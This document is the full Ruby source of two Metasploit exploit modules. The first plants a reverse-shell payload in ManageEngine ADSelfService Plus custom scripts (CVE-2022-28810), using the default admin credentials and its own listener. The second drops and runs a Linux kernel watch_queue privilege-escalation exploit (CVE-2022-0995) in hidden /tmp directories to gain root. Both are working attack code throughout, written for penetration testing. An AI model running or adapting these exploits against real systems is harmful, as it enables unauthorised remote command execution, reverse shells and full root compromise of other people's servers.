<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /><br /> Rank = ExcellentRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::Remote::HttpClient<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'ManageEngine ADSelfService Plus Custom Script Execution',<br /> 'Description' => %q{<br /> This module exploits the "custom script" feature of ADSelfService Plus. The<br /> feature was removed in build 6122 as part of the patch for CVE-2022-28810.<br /> For purposes of this module, a "custom script" is arbitrary operating system<br /> command execution.<br /><br /> This module uses an attacker provided "admin" account to insert the malicious<br /> payload into the custom script fields. When a user resets their password or<br /> unlocks their account, the payload in the custom script will be executed.<br /> The payload will be executed as SYSTEM if ADSelfService Plus is installed as<br /> a service, which we believe is the normal operational behavior.<br /><br /> This is a passive module because user interaction is required to trigger the<br /> payload. This module also does not automatically remove the malicious code from<br /> the remote target. Use the "TARGET_RESET" operation to remove the malicious<br /> custom script when you are done.<br /><br /> ADSelfService Plus uses default credentials of "admin":"admin"<br /> },<br /> 'Author' => [<br /> # Discovered and exploited by unknown threat actors<br /> 'Jake Baines', # Analysis, CVE credit, and Metasploit module<br /> 'Hernan Diaz', # Analysis and CVE credit<br /> 'Andrew Iwamaye', # Analysis and CVE credit<br /> 'Dan Kelley' # Analysis and CVE credit<br /> ],<br /> 'References' => [<br /> ['CVE', '2022-28810'],<br /> ['URL', 'https://www.manageengine.com/products/self-service-password/kb/cve-2022-28810.html'],<br /> ['URL', 'https://www.rapid7.com/blog/post/2022/04/14/cve-2022-28810-manageengine-adselfservice-plus-authenticated-command-execution-fixed/']<br /> ],<br /> 'DisclosureDate' => '2022-04-09',<br /> 'License' => MSF_LICENSE,<br /> 'Platform' => 'win',<br /> 'Arch' => ARCH_CMD,<br /> 'Privileged' => true, # false if ADSelfService Plus is not run as a service<br /> 'Stance' => Msf::Exploit::Stance::Passive,<br /> 'Targets' => [<br /> [<br /> 'Windows Command',<br /> {<br /> 'Arch' => ARCH_CMD,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/windows/jjs_reverse_tcp'<br /> }<br /> }<br /> ],<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> 'RPORT' => 8888,<br /> 'DisablePayloadHandler' => true,<br /> 'JJS_PATH' => '..\\jre\\bin\\jjs.exe'<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS]<br /> }<br /> )<br /> )<br /><br /> register_options([<br /> OptString.new('TARGETURI', [true, 'Path traversal for auth bypass', '/']),<br /> OptString.new('USERNAME', [true, 'The administrator username', 'admin']),<br /> OptString.new('PASSWORD', [true, 'The administrator user\'s password', 'admin']),<br /> OptBool.new('TARGET_RESET', [true, 'On the target, disables custom scripts and clears custom script field', false])<br /> ])<br /> end<br /><br /> ##<br /> # Because this is an authenticated vulnerability, we will rely on a version string<br /> # for the check function. We can extract the version (or build) from selfservice/index.html.<br /> ##<br /> def check<br /> res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/selfservice/index.html'))<br /> unless res<br /> return CheckCode::Unknown('The target failed to respond to check.')<br /> end<br /><br /> unless res.code == 200<br /> return CheckCode::Safe('Failed to retrieve /selfservice/index.html')<br /> end<br /><br /> ver = res.body[/\.css\?buildNo=(?<build_id>[0-9]+)/, :build_id]<br /> if ver.nil?<br /> return CheckCode::Safe('Could not extract a version number')<br /> end<br /><br /> if Rex::Version.new(ver) < Rex::Version.new('6122')<br /> return CheckCode::Appears("This determination is based on the version string: #{ver}.")<br /> end<br /><br /> CheckCode::Safe("This determination is based on the version string: #{ver}.")<br /> end<br /><br /> ##<br /> # Authenticate with the remote target. Login requires four steps:<br /> #<br /> # 1. Grab a CSRF token<br /> # 2. Post credentials to /ServletAPI/accounts/login<br /> # 3. Post credentials to /j_security_check<br /> # 4. Grab another CSRF token for authenticated requests<br /> #<br /> # @return a new CSRF token to use with authenticated requests<br /> ##<br /> def authenticate<br /> # grab a CSRF token from the index<br /> res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do') })<br /> fail_with(Failure::Unreachable, 'The target did not respond') unless res<br /> fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['HttpOnly, adscsrf'].empty?<br /> csrf_tok = res.get_cookies_parsed['HttpOnly, adscsrf'].to_s[/HttpOnly, adscsrf=(?<token>[0-9a-f-]+); path=/, :token]<br /> fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok<br /><br /> # send the first login request to get the ssp token<br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, '/ServletAPI/accounts/login'),<br /> 'keep_cookies' => true,<br /> 'vars_post' =><br /> {<br /> 'loginName' => datastore['USERNAME'],<br /> 'domainName' => 'ADSelfService Plus Authentication',<br /> 'j_username' => datastore['USERNAME'],<br /> 'j_password' => datastore['PASSWORD'],<br /> 'AUTHRULE_NAME' => 'ADAuthenticator',<br /> 'adscsrf' => csrf_tok<br /> }<br /> })<br /> fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200<br /><br /> # send the second login request to get the sso token<br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, '/j_security_check'),<br /> 'keep_cookies' => true,<br /> 'vars_post' =><br /> {<br /> 'loginName' => datastore['USERNAME'],<br /> 'domainName' => 'ADSelfService Plus Authentication',<br /> 'j_username' => datastore['USERNAME'],<br /> 'j_password' => datastore['PASSWORD'],<br /> 'AUTHRULE_NAME' => 'ADAuthenticator',<br /> 'adscsrf' => csrf_tok<br /> }<br /> })<br /> fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 302<br /><br /> # revisit authorization.do to complete authentication<br /> res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do'), 'keep_cookies' => true })<br /> fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200<br /> fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['adscsrf'].empty?<br /> csrf_tok = res.get_cookies_parsed['adscsrf'].to_s[/adscsrf=(?<token>[0-9a-f-]+);/, :token]<br /> fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok<br /><br /> print_good('Authentication successful')<br /> csrf_tok<br /> end<br /><br /> ##<br /> # Triggering the payload requires user interaction. Using the default payload<br /> # handler will cause this module to exit after planting the payload, so the<br /> # module will spawn it's own handler so that it doesn't exit until a shell<br /> # has been received/handled. Note that this module is passive so it should<br /> # just be chilling quietly in the background.<br /> #<br /> # This code is largely copy/paste from windows/local/persistence.rb<br /> ##<br /> def create_multihandler(lhost, lport, payload_name)<br /> pay = framework.payloads.create(payload_name)<br /> pay.datastore['LHOST'] = lhost<br /> pay.datastore['LPORT'] = lport<br /> print_status('Starting exploit/multi/handler')<br /><br /> # Set options for module<br /> mh = framework.exploits.create('multi/handler')<br /> mh.share_datastore(pay.datastore)<br /> mh.datastore['PAYLOAD'] = payload_name<br /> mh.datastore['EXITFUNC'] = 'thread'<br /> mh.datastore['ExitOnSession'] = true<br /> # Validate module options<br /> mh.options.validate(mh.datastore)<br /> # Execute showing output<br /> mh.exploit_simple(<br /> 'Payload' => mh.datastore['PAYLOAD'],<br /> 'LocalInput' => user_input,<br /> 'LocalOutput' => user_output,<br /> 'RunAsJob' => true<br /> )<br /><br /> # Check to make sure that the handler is actually valid<br /> # If another process has the port open, then the handler will fail<br /> # but it takes a few seconds to do so. The module needs to give<br /> # the handler time to fail or the resulting connections from the<br /> # target could end up on on a different handler with the wrong payload<br /> # or dropped entirely.<br /> Rex.sleep(5)<br /> return nil if framework.jobs[mh.job_id.to_s].nil?<br /><br /> return mh.job_id.to_s<br /> end<br /><br /> # The json policy blob that ADSSP provides us is not accepted by ADSSP<br /> # if we try to POST it back. Specifically, ADSP is very unhappy about all<br /> # the booleans using "true" or "false" instead of "1" or "0" *except* for<br /> # HIDE_CAPTCHA_RPUA which has to remain a boolean. Sounds unbelievable, but<br /> # here we are.<br /> def fix_adssp_json(json_hash)<br /> json_hash.map do |key, value|<br /> if value.is_a? Hash<br /> [key, fix_adssp_json(value)]<br /> elsif value.is_a? Array<br /> value = value.map do |array_val|<br /> if array_val.is_a? Hash<br /> array_val = fix_adssp_json(array_val)<br /> end<br /> array_val<br /> end<br /> [key, value]<br /> elsif key == 'HIDE_CAPTCHA_RPUA'<br /> [key, value]<br /> elsif value.is_a? TrueClass<br /> [key, 1]<br /> elsif value.is_a? FalseClass<br /> [key, 0]<br /> else<br /> [key, value]<br /> end<br /> end.to_h<br /> end<br /><br /> def exploit<br /> csrf_tok = authenticate<br /><br /> # Grab the list of configured policies<br /> policy_list_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getPolicyConfigDetails')<br /> print_status("Requesting policy list from #{policy_list_uri}")<br /> res = send_request_cgi({ 'method' => 'GET', 'uri' => policy_list_uri })<br /> fail_with(Failure::UnexpectedReply, 'Log in attempt failed') unless res.code == 200<br /> policy_json = res.get_json_document<br /> fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if policy_json.nil?<br /> policy_details_json = policy_json['POLICY_DETAILS']<br /> fail_with(Failure::UnexpectedReply, "The target didn't have any configured policies") if policy_details_json.nil?<br /><br /> # There can be multiple policies. This logic will loop over each one, grab the configuration<br /> # details, update the configuration to include our payload, and then POST it back.<br /> policy_details_json.each do |policy_entry|<br /> policy_id = policy_entry['POLICY_ID']<br /> policy_name = policy_entry['POLICY_NAME']<br /> fail_with(Failure::UnexpectedReply, 'Policy details missing name or id') if policy_id.nil? || policy_name.nil?<br /><br /> print_status("Requesting policy details for #{policy_name}")<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getAPCDetails'),<br /> 'vars_get' =><br /> {<br /> 'POLICY_ID' => policy_id<br /> }<br /> })<br /> fail_with(Failure::UnexpectedReply, 'Acquiring specific policy details failed') unless res.code == 200<br /><br /> # load the JSON and insert (or remove) our payload<br /> specific_policy_json = res.get_json_document<br /> fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if specific_policy_json.nil?<br /> fail_with(Failure::UnexpectedReply, "The target didn't contain the expected JSON") if specific_policy_json['SCRIPT_COMMAND_RESET'].nil?<br /> new_payload = "cmd.exe /c #{payload.encoded}"<br /><br /> if datastore['TARGET_RESET']<br /> print_status('Disabling custom script functionality')<br /> specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '0'<br /> specific_policy_json['SCRIPT_COMMAND_RESET'] = ''<br /> specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '0'<br /> specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = ''<br /> else<br /> print_status('Enabling custom scripts and inserting the payload')<br /> specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '1'<br /> specific_policy_json['SCRIPT_COMMAND_RESET'] = new_payload<br /> specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '1'<br /> specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = new_payload<br /> end<br /><br /> # fix up the ADSSP provided json so ADSSP will accept it o.O<br /> updated_policy = fix_adssp_json(specific_policy_json).to_json<br /><br /> policy_update_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/setAPCDetails')<br /> print_status("Posting updated policy configuration to #{policy_update_uri}")<br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => policy_update_uri,<br /> 'vars_post' =><br /> {<br /> 'APC_SETTINGS_DETAILS' => updated_policy,<br /> 'POLICY_NAME' => policy_name,<br /> 'adscsrf' => csrf_tok<br /> }<br /> })<br /> fail_with(Failure::UnexpectedReply, 'Policy update request failed') unless res.code == 200<br /><br /> # spawn our own payload handler?<br /> if !datastore['TARGET_RESET'] && datastore['DisablePayloadHandler']<br /> listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])<br /> if listener_job_id.blank?<br /> print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")<br /> end<br /> else<br /> print_good('Done!')<br /> end<br /> end<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Local<br /> Rank = GreatRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Post::Linux::Priv<br /> include Msf::Post::Linux::System<br /> include Msf::Post::Linux::Compile<br /> include Msf::Post::Linux::Kernel<br /> include Msf::Post::File<br /> include Msf::Exploit::EXE<br /> include Msf::Exploit::FileDropper<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Watch Queue Out of Bounds Write',<br /> 'Description' => %q{<br /> This module exploits a vulnerability in the Linux Kernel's watch_queue event<br /> notification system. It relies on a heap out-of-bounds write in kernel memory.<br /> The exploit may fail on the first attempt so multiple attempts may be needed.<br /> Note that the exploit can potentially cause a denial of service if multiple<br /> failed attemps occur, however this is unlikely.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'Jann Horn', # discovery and poc<br /> 'bonfee', # PoC<br /> 'bwatters-r7' # Aka @tychos_moose, Metasploit Module<br /> ],<br /> 'DisclosureDate' => '2022-03-14',<br /> 'Platform' => [ 'linux' ],<br /> 'Arch' => [ ARCH_X64 ],<br /> 'SessionTypes' => [ 'shell', 'meterpreter' ],<br /> 'Privileged' => true,<br /> 'References' => [<br /> [ 'CVE', '2022-0995' ],<br /> [ 'URL', 'https://github.com/Bonfee/CVE-2022-0995' ],<br /> [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=93ce93587d36493f2f86921fa79921b3cba63fbb' ],<br /> [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0995' ],<br /> [ 'PACKETSTORM', '166770' ],<br /> ],<br /> 'Targets' => [<br /> [ 'Ubuntu Linux 5.13.0-37', {} ],<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Reliability' => [ UNRELIABLE_SESSION ], # Not expected to get a shell every time due to heap spray sometimes not working.<br /> 'Stability' => [ CRASH_OS_DOWN ],<br /> 'SideEffects' => [ ARTIFACTS_ON_DISK ]<br /> }<br /> )<br /> )<br /> register_options [<br /> OptBool.new('DEBUG_SOURCE', [ false, 'Use source code with debug prints to help troubleshoot', false ])<br /> ]<br /> register_advanced_options [<br /> OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])<br /> ]<br /> end<br /><br /> def pull_version<br /> kernel_data = kernel_release<br /> version_array = kernel_data.split('-')<br /> if version_array.length < 3<br /> print_error("Failed to parse the kernel version data: #{kernel_data}")<br /> return nil<br /> end<br /> vprint_status("Version array: #{version_array}")<br /> major_version = Rex::Version.new(version_array[0])<br /> vprint_status("major_version: #{major_version}")<br /> minor_version = version_array[1].strip unless version_array[1].nil?<br /> vprint_status("minor_version: #{minor_version}")<br /> kernel_type = version_array[2].strip unless version_array[2].nil?<br /> return [major_version, minor_version, kernel_type]<br /> end<br /><br /> def module_check<br /> # Vulnerable versions are under 5.17:rc8<br /> # This module only has offsets for Ubuntu 5.13.0-37<br /> if is_root? && !datastore['ForceExploit']<br /> fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override.')<br /> end<br /> if datastore['DEBUG_SOURCE'] && datastore['COMPILE'] != 'True'<br /> fail_with(Failure::BadConfig, 'DEBUG_PRINT is only supported when COMPILE is set to True')<br /> end<br /> unless kernel_version =~ /[uU]buntu/<br /> fail_with(Failure::NoTarget, "Unsupported Distro: '#{version}'")<br /> end<br /> arch = kernel_hardware<br /> unless arch.include?('x86_64')<br /> fail_with(Failure::NoTarget, "Unsupported architecture: '#{arch}'")<br /> end<br /> version_info = pull_version<br /> if version_info.nil?<br /> fail_with(Failure::NoTarget, 'Failed to obtain kernel version')<br /> end<br /> major_version, minor_version, kernel_type = version_info<br /> vulnerable_version = Rex::Version.new('5.13.0')<br /> unless major_version == vulnerable_version && minor_version == '37' && kernel_type.include?('generic')<br /> fail_with(Failure::NoTarget, "No offsets for '#{kernel_release}'")<br /> end<br /> end<br /><br /> def check<br /> # Vulnerable versions are under 5.17:rc8<br /> # This module only has offsets for 5.13.0-37<br /> vulnerable_version = Rex::Version.new('5.17.0')<br /> version_info = pull_version<br /> if version_info.nil?<br /> return CheckCode::Unknown('Failed to obtain kernel version')<br /> end<br /><br /> major_version = version_info[0]<br /> if major_version <= vulnerable_version<br /> return CheckCode::Appears<br /> else<br /> return CheckCode::Safe("The target kernel version #{major_version} is later than the last known vulnerable version aka #{vulnerable_version}")<br /> end<br /> end<br /><br /> def exploit<br /> module_check<br /> base_dir = datastore['WritableDir'].to_s<br /> unless writable?(base_dir)<br /> fail_with(Failure::BadConfig, "#{base_dir} is not writable")<br /> end<br /><br /> executable_name = ".#{rand_text_alphanumeric(5..10)}"<br /> exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"<br /> exploit_path = "#{exploit_dir}/#{executable_name}"<br /> if file_exist?(exploit_dir)<br /> fail_with(Failure::BadConfig, 'Exploit dir already exists')<br /> end<br /> mkdir(exploit_dir)<br /> register_dir_for_cleanup(exploit_dir)<br /><br /> # Upload exploit<br /> if live_compile?<br /> vprint_status('Live compiling exploit on system...')<br /> if datastore['DEBUG_SOURCE']<br /> code = exploit_source('cve-2022-0995', 'cve-2022-0995_debug.c')<br /> else<br /> code = exploit_source('cve-2022-0995', 'cve-2022-0995.c')<br /> end<br /> upload_and_compile(exploit_path, code, '-no-pie -static')<br /> else<br /> vprint_status('Dropping pre-compiled exploit on system...')<br /> precompiled_binary = 'cve-2022-0995.x64.elf'<br /> vprint_status("Dropping pre-compiled exploit #{precompiled_binary} on system...")<br /> upload_and_chmodx(exploit_path, exploit_data('cve-2022-0995', precompiled_binary))<br /> end<br /><br /> register_file_for_cleanup(exploit_path)<br /><br /> # Upload payload<br /> payload_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"<br /> upload_and_chmodx(payload_path, generate_payload_exe)<br /><br /> # Launch exploit<br /> print_status('Launching exploit...')<br /> cmd_string = "#{exploit_path} #{payload_path}"<br /> vprint_status("Running: #{cmd_string}")<br /> begin<br /> output = cmd_exec(cmd_string)<br /> vprint_status(output)<br /> rescue Error => e<br /> elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)<br /> print_error("Exploit failed: #{e}")<br /> print_error("Ensure deletion of #{exploit_path} and #{payload_path}")<br /> end<br /> end<br />end<br /></code></pre>